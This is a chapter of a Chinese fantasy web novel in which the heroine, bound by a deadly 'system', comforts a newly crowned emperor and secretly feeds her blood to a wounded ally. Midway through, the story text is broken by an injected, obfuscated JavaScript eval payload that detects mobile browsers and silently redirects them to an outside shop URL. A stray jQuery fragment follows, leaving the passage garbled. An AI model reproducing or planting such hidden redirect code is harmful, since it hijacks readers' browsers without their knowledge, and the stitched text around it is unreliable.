皇城因为金觉的一纸诏书又变了一次天,徐惊期根本不知道她昏迷的这三日里还发生了什么。她醒来时张逵已经登基,问萧泽天萧泽天也支支吾吾绕弯子就是不往这方面答。
她觉得他们一定是在隐瞒什么事。
受郑尽和金觉的影响,世人眼里原城是因为“有为而治”灭亡的,但徐惊期很清楚并不是。真正的原因是张泰云太过仁慈,导致被“某些”有心之人钻了空子。
虽是重续原城,张逵一上台却并没有将原城的那套旧政原封不动搬出来,而是改国名王,即刻重拟法条、重定税收兵役、重搭官臣框架,他特别增添了一条政律:要百姓强身健体。
身体强健是精神世界稳定的基础,亦会使百姓的欲望减少,如此百姓才会安分守己,社会才会安定。
在原城原先的制度基础上大的条律张逵其实没有增添几条,专门留出了一定“空间”。就如搭建房屋的框架,只有中间是空的才能住人,这是所谓真正的“无为而治”。
但亦不是真的什么都不做,皇城有很多精通各个领域的“人才”,之前因为被私人雇佣没有发挥真正作用,人才兴则国家兴,张逵又专门新设了一个“寻人司”,专门负责将江湖各处的散落人才寻到引荐给朝廷,不论出身论功行赏,只要踏踏实实为朝廷效力,保其三代温饱无忧。
当然,多言数穷,政令越多反而会起到反效果,这也是他没有再多添政令的原因之一。
这些是徐惊期跟萧泽天软磨硬泡很长时间才磨出来的一点东西,虽然与她本来问的问题有偏差,但最起码是相关的。
她还磨出了一条重要消息,是萧泽天被她绕进去一不小心说漏了嘴:李墨琛这次伤得不轻,回来之后一直昏迷不醒,伤口也怎么都愈合不了,到现在都还躺在床上。
萧泽天不像张逵那样藏得住事,有什么情绪全写在脸上,只要看他的细微言行徐惊期便能明白一二三。
正要再细细套更多话出来,突然门开了,看着张逵一身龙袍走进来徐惊期才意识到她们这是在皇宫里。
她忽然就后悔刚才说萧泽天不像张逵那样藏得住事了,因为张逵的脸色非常黑。
与张逵相处久了都会知道,他平日从不把表情挂脸上,这是徐惊期第一次见他如此消沉。
当然萧泽天也看懂了,他立即很识趣的往门口走:“那个,我去看看李墨琛啊。”
“嗯。”张逵低低应了。
殿门再次关上后此番空间里便只剩下徐惊期和张逵两个人。
讲真的,徐惊期现在不太敢随便说话,安慰的话对于张逵是没有实际作用的,放谁不得已承了仇人的情都会愤然、不甘,更何况张逵有原城的传国皇玺,本就不需要金觉画蛇添足的这一举。
徐惊期不知道该说些什么,果断张开双臂。
如果一个拥抱能让他好受些的话……
就见张逵微不可察的顿了一下,没什么犹豫便将头埋在了她颈间。
“呼噜呼噜毛……”话说一半徐惊期就后悔了。
现在不是呼噜毛的时候啊喂。
她闻到张逵身上带了很厚重的只有达官显贵才有的铜臭味,也许他才下朝。
本就闲时无几,做了皇帝张逵大概率连晚上睡觉的时间也得挤。
不知过了多久,张逵微微动了一下,下一刻他的声音便低低落在了徐惊期的耳窝下:“抱歉……我解不了你的咒。”
原来是因为救不了我才不开心的么。徐惊期心道。
系统的硬性程序放谁都解不了,她自己其实早就不抱希望了,只是期盼最后能利利索索的,最好是比林竺凓走时还平静。
她轻轻拍着张逵的后背,轻声道:“没事,还有血量呢。”
往好的想,她就算受到再大的创伤只要还有血量就不会死,说不定到最后关头系统看她实在“无用”会将她“放生”呢。
徐惊期觉得张逵好像哭了,但他抱得很紧她推不开也看不到他的脸,只能继续拍着后背。
能安慰一点是一点吧,哪怕同样说不出来什么。
细细一想,从来的时候张逵好像就很信任徐惊期,虽然闹了点乌龙。而且张逵一直在无条件的帮她。如此信任她们的关系早就该更近一步了,张逵也不是没有主动过,但徐惊期又缩回去了。
她不排斥任何,唯独现在的这副身体——这不是她自己的身体。
她很介意。
而且……
而且张逵贵为龙气,寿数比天还长,但徐惊期说不准明天就会被扣完血,如果她现在主动了,她死后张逵怎么办,那也太不负责了。
人应该感恩,张逵和李墨琛帮了这么多忙她却什么也没还,她觉得应该利用仅剩的这些时间做点什么,最起码让他们容易一些。
况且如果之前推理的没错她本来就是个死人,话说回来系统也算是给了她第二次生命,也是对她有恩,虽然是以任务威逼的形式……这就更难还清了。
什么都没做就欠了一屁股恩,徐惊期有些欲哭无泪。
不是她不想还,是能力到不了。
看回来现在,她安慰着张逵,张逵又何尝不在安慰着她呢,这互相传递的温暖也算是颠沛流离中仅存的心安。
*
一能走动徐惊期便撑着到邻殿里去看李墨琛。
她和张逵进殿时萧泽天正在换药,也就是这样她才凑巧看到了李墨琛的伤口。他伤的比徐惊期想的要重,胸口上一大片还渗着血,因为伤口太深根本结不了痂,繁生花就那样明晃晃坦露着。
虽然繁生花长在李墨琛的心脏上,但因为衣物遮挡其实外人根本不知道他那里有朵花,运转魔气时血纹里的红光是衬他的,不知道的也根本不会往这方面联想。
现在他胸口的血肉可见,一下一下随着心脏的搏动起伏着,繁生花也跟着跳动着。
从前都是无奈,徐惊期现在开始讨厌这花了,她觉得它在挑衅。
就好像在说:“你看啊,我就在这,他不死我也不会消失,拿我没办法吧。”
“他什么时候能醒过来?”徐惊期问。
“这个……”萧泽天有些犯难,不自觉抬头看向张逵。
“不好说。”张逵摇头道:“李断下手太狠,我也说不清他还能不能醒来。”
这里张逵的用词不是“什么时候能醒过来”,而是“说不清还能不能醒来”,徐惊期一下就意识到了事情的严重性。
“不是回来的时候还……”徐惊期哽住了。
她彻底失去意识之前李墨琛还和张逵一起叫她的名字试图将她唤醒……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904943|204260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
原来那时候他也在硬撑么。
张逵拿手帕给她擦眼泪的时候她才回过神,本是下意识要接过手帕,余光却瞥到了地上的影子。
突然想到了什么,徐惊期又问:“十七和八三呢,李江的其他影卫呢。”
张逵微微阖眸,低声道:“不知。”
“当时我们是用我的血将他救回来的。”徐惊期抬手解开袖扣,将手腕露出来,道:“这样,再用……”
“不行。”张逵一把将她的手握住,眼神凌冽:“你自己都虚弱得不成样子,不能再取血。”
“就是啊徐惊期。”萧泽天说着也开始哽咽了,侧过头去调整了一下才继续道:“……你自己都这样了,如何还能救人啊。”
“我可以。”徐惊期有些激动,“只要系统还没扣完血量我就不会死,怎么样都不会死。”
不管她受到怎么样的创伤,只要还有血量哪怕是滴血尽无都不会死,这是她为数不多的金手指。
“你就快死了!”
言落屋内瞬间鸦雀无声,空气中爆发出死寂一般的窒息感。
这是张逵第一次在徐惊期面前情绪失控。
他和萧泽天的衣摆上还沾着未处理掉的泥垢,这几日他们为了徐惊期和李墨琛想尽了各种办法。
一个是原城三皇子兼青极宗大弟子又兼王城新皇,一个是原城质子兼王兵副将,两个人走南闯北见过各种事情也是世间最有能力的人之一,到了自己人身上却也如同孱弱书生一般毫无缚鸡之力。
连张逵也会被直接要了命的濒死反噬徐惊期却一丝不落的全接了下来,他根本不敢想她是怎么抗的,这已经不是一般的痛苦了。
受了这些徐惊期体内经脉全断,要不是有禁气的兽丹她怕是已经肉身尽碎了,就这样小姑娘还一脸坚定的要取血救人。
萧泽天再也憋不住,直接哭出了声,嘴里断断续续道:“……我不想你们死……你们不能……”
张逵狠狠拍了他一掌,“哭哭哭,就知道哭。”
“那你说怎么办嘛。”萧泽天哭得更大声了。
张逵阖眸平复了好一会,终于道:“继续想办法,只要他们还有一口气,就有希望。”
也是在这之后徐惊期才知道,张逵从登基那日起除了新定政条就没上过早朝,太监在皇宫里根本找不到他人,都是萧泽天一边照顾两个“病”人一边帮忙打理朝政,还经常分出一缕神识跟张逵到世间各处寻找名医名士。
不过这也让徐惊期逮着了机会。
这天萧泽天分出的神识又跟着张逵出去了,他的本体因为太过劳累打了一小会盹儿,徐惊期看准时机溜到了李墨琛那。
经脉尽碎但依旧是致阳之体,那么她的血就还是对李墨琛有大作用。
她没法用法术了,不能像上次一样将血精炼,于是直接割开手腕将血喂给了李墨琛。
过程应是不长的,照进窗棂的阳光都没咋变化角度,徐惊期却觉得难熬极了,上学时等老师一个一个公布成绩都没这么难熬。
她心知肚明自己不是生病了,就算请这世间最好的名医用这世间最好的药材这副身体的状态也会一天不如一天。
完事她又悄摸回了自己殿,往床上一躺继续装病号。
没成想这一躺就又是七天。